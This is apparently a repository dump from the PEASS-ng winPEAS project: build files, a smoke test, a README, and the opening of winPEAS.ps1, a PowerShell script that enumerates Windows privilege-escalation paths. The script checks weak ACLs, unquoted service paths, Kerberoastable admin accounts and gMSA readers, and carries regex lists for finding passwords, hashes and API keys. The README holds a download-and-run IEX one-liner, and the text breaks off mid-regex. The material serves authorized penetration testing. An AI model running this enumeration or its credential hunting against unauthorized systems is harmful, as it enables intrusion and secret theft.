%28x86 and x64%29 true False .NET Framework 3.5 SP1 false This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. ================================================ FILE: winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user ================================================  cloudinfo debug fast publish\ en-US false ================================================ FILE: winPEAS/winPEASexe/winPEAS.Tests/SmokeTests.cs ================================================ using Microsoft.VisualStudio.TestTools.UnitTesting; using System; namespace winPEAS.Tests { [TestClass] public class SmokeTests { [TestMethod] public void ShouldRunWinPeass() { try { string[] args = new string[] { "systeminfo", "userinfo", "networkinfo", "servicesinfo","processinfo" }; Program.Main(args); } catch (Exception e) { Assert.Fail($"Exception thrown: {e.Message}"); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29326.143 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "winPEAS", "winPEAS\winPEAS.csproj", "{D934058E-A7DB-493F-A741-AE8E3DF867F4}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "winPEAS.Tests", "Tests\winPEAS.Tests.csproj", "{66AA4619-4D0F-4226-9D96-298870E9BB50}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|Any CPU.Build.0 = Debug|Any CPU {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x64.ActiveCfg = Debug|x64 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x64.Build.0 = Debug|x64 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x86.ActiveCfg = Debug|x86 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x86.Build.0 = Debug|x86 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|Any CPU.ActiveCfg = Release|Any CPU {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|Any CPU.Build.0 = Release|Any CPU {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x64.ActiveCfg = Release|x64 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x64.Build.0 = Release|x64 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x86.ActiveCfg = Release|x86 {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x86.Build.0 = Release|x86 {66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|Any CPU.Build.0 = Debug|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x64.ActiveCfg = Debug|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x64.Build.0 = Debug|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x86.ActiveCfg = Debug|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x86.Build.0 = Debug|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|Any CPU.ActiveCfg = Release|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|Any CPU.Build.0 = Release|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x64.ActiveCfg = Release|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x64.Build.0 = Release|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x86.ActiveCfg = Release|Any CPU {66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {D5215BC3-80A2-4E63-B560-A8F78A763B7C} EndGlobalSection EndGlobal ================================================ FILE: winPEAS/winPEASps1/README.md ================================================ # Windows Privilege Escalation Awesome Script (.ps1) ![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** ## Mantainer The official **maintainer of this script is [RandolphConley](https://github.com/RandolphConley)**. ## Quick Start Download the **[latest releas from here](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')" ``` ## Recent Updates - Added Active Directory awareness checks to highlight Kerberos-only environments (NTLM restrictions) and time skew issues before attempting ticket-based attacks. - winPEAS.ps1 now reviews AD-integrated DNS ACLs to flag zones where low-privileged users can register/modify records (dynamic DNS hijack risk). - Enumerates high-value SPN accounts and weak gMSA password readers so you can immediately target Kerberoastable admins or abused service accounts. - Surfaces Schannel certificate mapping settings to warn about ESC10-style certificate abuse opportunities when UPN mapping is enabled. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. ================================================ FILE: winPEAS/winPEASps1/winPEAS.ps1 ================================================ <# .SYNOPSIS PowerShell adaptation of WinPEAS.exe / WinPeas.bat .DESCRIPTION For the legal enumeration of windows based computers that you either own or are approved to run this script on .EXAMPLE # Default - normal operation with username/password audit in drives/registry .\winPeas.ps1 # Include Excel files in search: .xls, .xlsx, .xlsm .\winPeas.ps1 -Excel # Full audit - normal operation with APIs / Keys / Tokens ## This will produce false positives ## .\winPeas.ps1 -FullCheck # Add Time stamps to each command .\winPeas.ps1 -TimeStamp .NOTES Version: 1.3 PEASS-ng Original Author: PEASS-ng winPEAS.ps1 Author: @RandolphConley Creation Date: 10/4/2022 Website: https://github.com/peass-ng/PEASS-ng TESTED: PoSh 5,7 UNTESTED: PoSh 3,4 NOT FULLY COMPATIBLE: PoSh 2 or lower #> ######################## FUNCTIONS ######################## [CmdletBinding()] param( [switch]$TimeStamp, [switch]$FullCheck, [switch]$Excel ) # Gather KB from all patches installed function returnHotFixID { param( [string]$title ) # Match on KB or if patch does not have a KB, return end result if (($title | Select-String -AllMatches -Pattern 'KB(\d{4,6})').Matches.Value) { return (($title | Select-String -AllMatches -Pattern 'KB(\d{4,6})').Matches.Value) } elseif (($title | Select-String -NotMatch -Pattern 'KB(\d{4,6})').Matches.Value) { return (($title | Select-String -NotMatch -Pattern 'KB(\d{4,6})').Matches.Value) } } function Start-ACLCheck { param( $Target, $ServiceName) # Gather ACL of object if ($null -ne $target) { try { $ACLObject = Get-Acl $target -ErrorAction SilentlyContinue } catch { $null } # If Found, Evaluate Permissions if ($ACLObject) { $Identity = @() $Identity += "$env:COMPUTERNAME\$env:USERNAME" if ($ACLObject.Owner -like $Identity ) { Write-Host "$Identity has ownership of $Target" -ForegroundColor Red } # This should now work for any language. Command runs whoami group, removes the first two line of output, converts from csv to object, but adds "group name" to the first column. whoami.exe /groups /fo csv | select-object -skip 2 | ConvertFrom-Csv -Header 'group name' | Select-Object -ExpandProperty 'group name' | ForEach-Object { $Identity += $_ } $IdentityFound = $false foreach ($i in $Identity) { $permission = $ACLObject.Access | Where-Object { $_.IdentityReference -like $i } $UserPermission = "" switch -WildCard ($Permission.FileSystemRights) { "FullControl" { $userPermission = "FullControl" $IdentityFound = $true } "Write*" { $userPermission = "Write" $IdentityFound = $true } "Modify" { $userPermission = "Modify" $IdentityFound = $true } } Switch ($permission.RegistryRights) { "FullControl" { $userPermission = "FullControl" $IdentityFound = $true } } if ($UserPermission) { if ($ServiceName) { Write-Host "$ServiceName found with permissions issue:" -ForegroundColor Red } Write-Host -ForegroundColor red "Identity $($permission.IdentityReference) has '$userPermission' perms for $Target" } } # Identity Found Check - If False, loop through and stop at root of drive if ($IdentityFound -eq $false) { if ($Target.Length -gt 3) { $Target = Split-Path $Target Start-ACLCheck $Target -ServiceName $ServiceName } } } else { # If not found, split path one level and Check again $Target = Split-Path $Target Start-ACLCheck $Target $ServiceName } } } function UnquotedServicePathCheck { Write-Host "Fetching the list of services, this may take a while..." $services = Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -inotmatch "`"" -and $_.PathName -inotmatch ":\\Windows\\" -and ($_.StartMode -eq "Auto" -or $_.StartMode -eq "Manual") -and ($_.State -eq "Running" -or $_.State -eq "Stopped") } if ($($services | Measure-Object).Count -lt 1) { Write-Host "No unquoted service paths were found" } else { $services | ForEach-Object { Write-Host "Unquoted Service Path found!" -ForegroundColor red Write-Host Name: $_.Name Write-Host PathName: $_.PathName Write-Host StartName: $_.StartName Write-Host StartMode: $_.StartMode Write-Host Running: $_.State } } } function TimeElapsed { Write-Host "Time Running: $($stopwatch.Elapsed.Minutes):$($stopwatch.Elapsed.Seconds)" } function Get-ClipBoardText { Add-Type -AssemblyName PresentationCore $text = [Windows.Clipboard]::GetText() if ($text) { Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| ClipBoard text found:" Write-Host $text } } function Get-DomainContext { try { return [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain() } catch { return $null } } function Convert-SidToName { param( $SidInput ) if ($null -eq $SidInput) { return $null } try { if ($SidInput -is [System.Security.Principal.SecurityIdentifier]) { $sidObject = $SidInput } else { $sidObject = New-Object System.Security.Principal.SecurityIdentifier($SidInput) } return $sidObject.Translate([System.Security.Principal.NTAccount]).Value } catch { try { return $sidObject.Value } catch { return [string]$SidInput } } } function Get-WeakDnsUpdateFindings { param( [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext ) if (-not $DomainContext) { return @() } $domainDN = $DomainContext.GetDirectoryEntry().distinguishedName $forestDN = $DomainContext.Forest.RootDomain.GetDirectoryEntry().distinguishedName $paths = @( "LDAP://CN=MicrosoftDNS,DC=DomainDnsZones,$domainDN", "LDAP://CN=MicrosoftDNS,DC=ForestDnsZones,$forestDN", "LDAP://CN=MicrosoftDNS,$domainDN" ) $weakPatterns = @( "authenticated users", "everyone", "domain users" ) $dangerousRights = @("GenericAll", "GenericWrite", "CreateChild", "WriteProperty", "WriteDacl", "WriteOwner") $findings = @() foreach ($path in $paths) { try { $container = New-Object System.DirectoryServices.DirectoryEntry($path) $null = $container.NativeGuid } catch { continue } $searcher = New-Object System.DirectoryServices.DirectorySearcher($container) $searcher.Filter = "(objectClass=dnsZone)" $searcher.PageSize = 500 $results = $searcher.FindAll() foreach ($result in $results) { try { $zoneEntry = $result.GetDirectoryEntry() $zoneEntry.Options.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl $sd = $zoneEntry.ObjectSecurity foreach ($ace in $sd.Access) { if ($ace.AccessControlType -ne 'Allow') { continue } $principal = Convert-SidToName $ace.IdentityReference if (-not $principal) { continue } $principalLower = $principal.ToLower() if (-not ($weakPatterns | Where-Object { $principalLower -like "*${_}*" })) { continue } $rights = $ace.ActiveDirectoryRights.ToString() if (-not ($dangerousRights | Where-Object { $rights -like "*${_}*" })) { continue } $findings += [pscustomobject]@{ Zone = $zoneEntry.Properties["name"].Value Partition = $path.Split(',')[1] Principal = $principal Rights = $rights } } } catch { continue } } } return ($findings | Sort-Object Zone, Principal -Unique) } function Get-GmsaReadersReport { param( [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext ) if (-not $DomainContext) { return @() } $domainDN = $DomainContext.GetDirectoryEntry().distinguishedName try { $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domainDN") $searcher.Filter = "(&(objectClass=msDS-GroupManagedServiceAccount))" $searcher.PageSize = 500 [void]$searcher.PropertiesToLoad.Add("sAMAccountName") [void]$searcher.PropertiesToLoad.Add("msDS-GroupMSAMembership") $results = $searcher.FindAll() } catch { return @() } $report = @() foreach ($result in $results) { $name = $result.Properties["samaccountname"] $blobs = $result.Properties["msds-groupmsamembership"] if (-not $blobs) { continue } $principals = @() foreach ($blob in $blobs) { try { $raw = New-Object System.Security.AccessControl.RawSecurityDescriptor (, $blob) foreach ($ace in $raw.DiscretionaryAcl) { $sid = Convert-SidToName $ace.SecurityIdentifier if ($sid) { $principals += $sid } } } catch { continue } } if ($principals.Count -eq 0) { continue } $principals = $principals | Sort-Object -Unique $weak = $principals | Where-Object { $_ -match 'Domain Users|Authenticated Users|Everyone' } $report += [pscustomobject]@{ Account = ($name | Select-Object -First 1) Allowed = ($principals -join ", ") WeakPrincipals = if ($weak) { $weak -join ", " } else { "" } } } return $report } function Get-PrivilegedSpnTargets { param( [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext ) if (-not $DomainContext) { return @() } $domainDN = $DomainContext.GetDirectoryEntry().distinguishedName $keywords = @( "Domain Admin", "Enterprise Admin", "Administrators", "Exchange", "IT_", "Schema Admin", "Account Operator", "Server Operator", "Backup Operator", "DnsAdmin" ) try { $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domainDN") $searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*))" $searcher.PageSize = 500 [void]$searcher.PropertiesToLoad.Add("sAMAccountName") [void]$searcher.PropertiesToLoad.Add("memberOf") $results = $searcher.FindAll() } catch { return @() } $findings = @() foreach ($res in $results) { $groups = $res.Properties["memberof"] if (-not $groups) { continue } $matchedGroups = @() foreach ($group in $groups) { $cn = ($group -split ',')[0] -replace '^CN=','' if ($keywords | Where-Object { $cn -like "*${_}*" }) { $matchedGroups += $cn } } if ($matchedGroups.Count -gt 0) { $findings += [pscustomobject]@{ User = ($res.Properties["samaccountname"] | Select-Object -First 1) Groups = ($matchedGroups | Sort-Object -Unique) -join ', ' } } } return ($findings | Sort-Object User | Select-Object -First 12) } function Get-NtlmPolicySummary { try { $msv = Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0' -ErrorAction Stop } catch { return $null } $lsa = Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' -ErrorAction SilentlyContinue return [pscustomobject]@{ RestrictReceiving = $msv.RestrictReceivingNTLMTraffic RestrictSending = $msv.RestrictSendingNTLMTraffic LmCompatibility = if ($lsa) { $lsa.LmCompatibilityLevel } else { $null } } } function Get-TimeSkewInfo { param( [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext ) if (-not $DomainContext) { return $null } try { $pdc = $DomainContext.PdcRoleOwner.Name } catch { return $null } try { $stripchart = w32tm /stripchart /computer:$pdc /dataonly /samples:3 2>$null $sample = $stripchart | Where-Object { $_ -match ',' } | Select-Object -Last 1 if (-not $sample) { return $null } $parts = $sample.Split(',') if ($parts.Count -lt 2) { return $null } $offsetString = $parts[1].Trim().TrimEnd('s') [double]$offsetSeconds = 0 if (-not [double]::TryParse($offsetString, [ref]$offsetSeconds)) { return $null } return [pscustomobject]@{ Source = $pdc OffsetSeconds = $offsetSeconds RawSample = $sample } } catch { return $null } } function Get-AdcsSchannelInfo { $info = [ordered]@{ MappingValue = $null UpnMapping = $false ServiceState = $null } try { $schannel = Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL' -Name 'CertificateMappingMethods' -ErrorAction Stop $info.MappingValue = $schannel.CertificateMappingMethods if (($schannel.CertificateMappingMethods -band 0x4) -eq 0x4) { $info.UpnMapping = $true } } catch { } $svc = Get-Service -Name certsrv -ErrorAction SilentlyContinue if ($svc) { $info.ServiceState = $svc.Status } return [pscustomobject]$info } function Search-Excel { [cmdletbinding()] Param ( [parameter(Mandatory, ValueFromPipeline)] [ValidateScript({ Try { If (Test-Path -Path $_) {$True} Else {Throw "$($_) is not a valid path!"} } Catch { Throw $_ } })] [string]$Source, [parameter(Mandatory)] [string]$SearchText #You can specify wildcard characters (*, ?) ) $Excel = New-Object -ComObject Excel.Application Try { $Source = Convert-Path $Source } Catch { Write-Warning "Unable locate full path of $($Source)" BREAK } $Workbook = $Excel.Workbooks.Open($Source) ForEach ($Worksheet in @($Workbook.Sheets)) { # Find Method https://msdn.microsoft.com/en-us/vba/excel-vba/articles/range-find-method-excel $Found = $WorkSheet.Cells.Find($SearchText) If ($Found) { try{ # Address Method https://msdn.microsoft.com/en-us/vba/excel-vba/articles/range-address-property-excel Write-Host "Pattern: '$SearchText' found in $source" -ForegroundColor Blue $BeginAddress = $Found.Address(0,0,1,1) #Initial Found Cell New-Object -TypeName PSObject -Property ([Ordered]@{ WorkSheet = $Worksheet.Name Column = $Found.Column Row =$Found.Row TextMatch = $Found.Text Address = $BeginAddress }) Do { $Found = $WorkSheet.Cells.FindNext($Found) $Address = $Found.Address(0,0,1,1) If ($Address -eq $BeginAddress) { Write-host "Address is same as Begin Address" BREAK } New-Object -TypeName PSObject -Property ([Ordered]@{ WorkSheet = $Worksheet.Name Column = $Found.Column Row =$Found.Row TextMatch = $Found.Text Address = $Address }) } Until ($False) } catch { # Null expression in Found } } #Else { # Write-Warning "[$($WorkSheet.Name)] Nothing Found!" #} } try{ $workbook.close($False) [void][System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$excel) [gc]::Collect() [gc]::WaitForPendingFinalizers() } catch{ #Usually an RPC error } Remove-Variable excel -ErrorAction SilentlyContinue } #Get-CIMInstace/Get-WMIObject 'Win32_Product' calls kick off silent repairs on some programs causing potential issues after/while running this & doesn't always return a complete list. #Allegedly 'Win32reg_AddRemovePrograms' works fine now but this method ensures safety of target systems. function Get-InstalledApplications { [cmdletbinding()] param( [Parameter(DontShow)] $keys = @('','\Wow6432Node') ) foreach($key in $keys) { try { $apps = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$env:COMPUTERNAME).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall").GetSubKeyNames() } catch { Continue } foreach($app in $apps) { $program = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$env:COMPUTERNAME).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall\$app") $name = $program.GetValue('DisplayName') if($name) { New-Object -TypeName PSObject -Property ([Ordered]@{ Computername = $env:COMPUTERNAME Software = $name Version = $program.GetValue("DisplayVersion") Publisher = $program.GetValue("Publisher") InstallDate = $program.GetValue("InstallDate") UninstallString = $program.GetValue("UninstallString") Architecture = $(if($key -eq '\wow6432node') {'x86'}else{'x64'}) Path = $program.Name }) } } } } function Write-Color([String[]]$Text, [ConsoleColor[]]$Color) { for ($i = 0; $i -lt $Text.Length; $i++) { Write-Host $Text[$i] -Foreground $Color[$i] -NoNewline } Write-Host } #Write-Color " ((,.,/((((((((((((((((((((/, */" -Color Green Write-Color ",/*,..*(((((((((((((((((((((((((((((((((," -Color Green Write-Color ",*/((((((((((((((((((/, .*//((//**, .*((((((*" -Color Green Write-Color "((((((((((((((((", "* *****,,,", "\########## .(* ,((((((" -Color Green, Blue, Green Write-Color "(((((((((((", "/*******************", "####### .(. ((((((" -Color Green, Blue, Green Write-Color "(((((((", "/******************", "/@@@@@/", "***", "\#######\((((((" -Color Green, Blue, White, Blue, Green Write-Color ",,..", "**********************", "/@@@@@@@@@/", "***", ",#####.\/(((((" -Color Green, Blue, White, Blue, Green Write-Color ", ,", "**********************", "/@@@@@+@@@/", "*********", "##((/ /((((" -Color Green, Blue, White, Blue, Green Write-Color "..(((##########", "*********", "/#@@@@@@@@@/", "*************", ",,..((((" -Color Green, Blue, White, Blue, Green Write-Color ".(((################(/", "******", "/@@@@@/", "****************", ".. /((" -Color Green, Blue, White, Blue, Green Write-Color ".((########################(/", "************************", "..*(" -Color Green, Blue, Green Write-Color ".((#############################(/", "********************", ".,(" -Color Green, Blue, Green Write-Color ".((##################################(/", "***************", "..(" -Color Green, Blue, Green Write-Color ".((######################################(/", "***********", "..(" -Color Green, Blue, Green Write-Color ".((######", "(,.***.,(", "###################", "(..***", "(/*********", "..(" -Color Green, Green, Green, Green, Blue, Green Write-Color ".((######*", "(####((", "###################", "((######", "/(********", "..(" -Color Green, Green, Green, Green, Blue, Green Write-Color ".((##################", "(/**********(", "################(**...(" -Color Green, Green, Green Write-Color ".(((####################", "/*******(", "###################.((((" -Color Green, Green, Green Write-Color ".(((((############################################/ /((" -Color Green Write-Color "..(((((#########################################(..(((((." -Color Green Write-Color "....(((((#####################################( .((((((." -Color Green Write-Color "......(((((#################################( .(((((((." -Color Green Write-Color "(((((((((. ,(############################(../(((((((((." -Color Green Write-Color " (((((((((/, ,####################(/..((((((((((." -Color Green Write-Color " (((((((((/,. ,*//////*,. ./(((((((((((." -Color Green Write-Color " (((((((((((((((((((((((((((/" -Color Green Write-Color " by PEASS-ng & RandolphConley" -Color Green ######################## VARIABLES ######################## # Manually added Regex search strings from https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml # Set these values to true to add them to the regex search by default $password = $true $username = $true $webAuth = $true $regexSearch = @{} if ($password) { $regexSearch.add("Simple Passwords1", "pass.*[=:].+") $regexSearch.add("Simple Passwords2", "pwd.*[=:].+") $regexSearch.add("Apr1 MD5", '\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}') $regexSearch.add("Apache SHA", "\{SHA\}[0-9a-zA-Z/_=]{10,}") $regexSearch.add("Blowfish", '\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*') $regexSearch.add("Drupal", '\$S\$[a-zA-Z0-9_/\.]{52}') $regexSearch.add("Joomlavbulletin", "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}") $regexSearch.add("Linux MD5", '\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}') $regexSearch.add("phpbb3", '\$H\$[a-zA-Z0-9_/\.]{31}') $regexSearch.add("sha512crypt", '\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}') $regexSearch.add("Wordpress", '\$P\$[a-zA-Z0-9_/\.]{31}') $regexSearch.add("md5", "(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)") $regexSearch.add("sha1", "(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)") $regexSearch.add("sha256", "(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)") $regexSearch.add("sha512", "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)") # This does not work correctly #$regexSearch.add("Base32", "(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?") $regexSearch.add("Base64", "(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+\/]+={0,2}") } if ($username) { $regexSearch.add("Usernames1", "username[=:].+") $regexSearch.add("Usernames2", "user[=:].+") $regexSearch.add("Usernames3", "login[=:].+") $regexSearch.add("Emails", "[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}") $regexSearch.add("Net user add", "net user .+ /add") } if ($FullCheck) { $regexSearch.add("Artifactory API Token", "AKC[a-zA-Z0-9]{10,}") $regexSearch.add("Artifactory Password", "AP[0-9ABCDEF][a-zA-Z0-9]{8,}") $regexSearch.add("Adafruit API Key", "([a-z0-9_-]{32})") $regexSearch.add("Adafruit API Key", "([a-z0-9_-]{32})") $regexSearch.add("Adobe Client Id (Oauth Web)", "(adobe[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-f0-9]{32})['""]") $regexSearch.add("Abode Client Secret", "(p8e-)[a-z0-9]{32}") $regexSearch.add("Age Secret Key", "AGE-SECRET-KEY-1[QPZRY9X8GF2TVDW0S3JN54KHCE6MUA7L]{58}") $regexSearch.add("Airtable API Key", "([a-z0-9]{17})") $regexSearch.add("Alchemi API Key", "(alchemi[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9-]{32})['""]") $regexSearch.add("Artifactory API Key & Password", "[""']AKC[a-zA-Z0-9]{10,}[""']|[""']AP[0-9ABCDEF][a-zA-Z0-9]{8,}[""']") $regexSearch.add("Atlassian API Key", "(atlassian[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{24})['""]") $regexSearch.add("Binance API Key", "(binance[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9]{64})['""]") $regexSearch.add("Bitbucket Client Id", "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{32})['""])") $regexSearch.add("Bitbucket Client Secret", "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9_\-]{64})['""])") $regexSearch.add("BitcoinAverage API Key", "(bitcoin.?average[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9]{43})['""]") $regexSearch.add("Bitquery API Key", "(bitquery[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([A-Za-z0-9]{32})['""]") $regexSearch.add("Bittrex Access Key and Access Key", "([a-z0-9]{32})") $regexSearch.add("Birise API Key", "(bitrise[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9_\-]{86})['""]") $regexSearch.add("Block API Key", "(block[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4})['""]") $regexSearch.add("Blockchain API Key", "mainnet[a-zA-Z0-9]{32}|testnet[a-zA-Z0-9]{32}|ipfs[a-zA-Z0-9]{32}") $regexSearch.add("Blockfrost API Key", "(blockchain[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[0-9a-f]{12})['""]") $regexSearch.add("Box API Key", "(box[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9]{32})['""]") $regexSearch.add("Bravenewcoin API Key", "(bravenewcoin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{50})['""]") $regexSearch.add("Clearbit API Key", "sk_[a-z0-9]{32}") $regexSearch.add("Clojars API Key", "(CLOJARS_)[a-zA-Z0-9]{60}") $regexSearch.add("Coinbase Access Token", "([a-z0-9_-]{64})") $regexSearch.add("Coinlayer API Key", "(coinlayer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{32})['""]") $regexSearch.add("Coinlib API Key", "(coinlib[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{16})['""]") $regexSearch.add("Confluent Access Token & Secret Key", "([a-z0-9]{16})") $regexSearch.add("Contentful delivery API Key", "(contentful[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9=_\-]{43})['""]") $regexSearch.add("Covalent API Key", "ckey_[a-z0-9]{27}") $regexSearch.add("Charity Search API Key", "(charity.?search[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{32})['""]") $regexSearch.add("Databricks API Key", "dapi[a-h0-9]{32}") $regexSearch.add("DDownload API Key", "(ddownload[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{22})['""]") $regexSearch.add("Defined Networking API token", "(dnkey-[a-z0-9=_\-]{26}-[a-z0-9=_\-]{52})") $regexSearch.add("Discord API Key, Client ID & Client Secret", "((discord[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-h0-9]{64}|[0-9]{18}|[a-z0-9=_\-]{32})['""])") $regexSearch.add("Droneci Access Token", "([a-z0-9]{32})") $regexSearch.add("Dropbox API Key", "sl.[a-zA-Z0-9_-]{136}") $regexSearch.add("Doppler API Key", "(dp\.pt\.)[a-zA-Z0-9]{43}") $regexSearch.add("Dropbox API secret/key, short & long lived API Key", "(dropbox[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{15}|sl\.[a-z0-9=_\-]{135}|[a-z0-9]{11}(AAAAAAAAAA)[a-z0-9_=\-]{43})['""]") $regexSearch.add("Duffel API Key", 